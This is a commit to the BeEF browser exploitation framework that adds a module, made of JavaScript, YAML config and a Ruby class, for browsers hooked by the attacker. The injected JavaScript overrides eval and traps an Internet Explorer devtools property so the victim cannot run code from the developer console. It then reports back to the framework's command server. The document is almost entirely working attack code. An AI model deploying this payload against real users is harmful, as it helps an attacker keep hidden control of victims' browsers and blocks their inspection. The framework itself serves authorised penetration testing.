Add Disable Developer Tools module
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
// Uses this technique by KSpace:
|
||||
// http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/
|
||||
|
||||
var _eval = eval,
|
||||
evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,
|
||||
flag = false;
|
||||
|
||||
Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", {
|
||||
get : function(){
|
||||
return evalError;
|
||||
},
|
||||
set : function(v){
|
||||
flag = !v;
|
||||
evalError = v;
|
||||
}
|
||||
});
|
||||
|
||||
eval = function() {
|
||||
if ( flag ) {
|
||||
throw "";
|
||||
}
|
||||
return _eval.apply( this, arguments );
|
||||
};
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools");
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
disable_developer_tools:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Disable Developer Tools"
|
||||
description: "This module prevents users from executing JavaScript within the Internet Explorer Developer Tools console."
|
||||
authors: ["bcoles", "KSpace"]
|
||||
target:
|
||||
user_notify:
|
||||
IE:
|
||||
min_ver: 8
|
||||
max_ver: 11
|
||||
not_working: ["All"]
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Disable_developer_tools < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user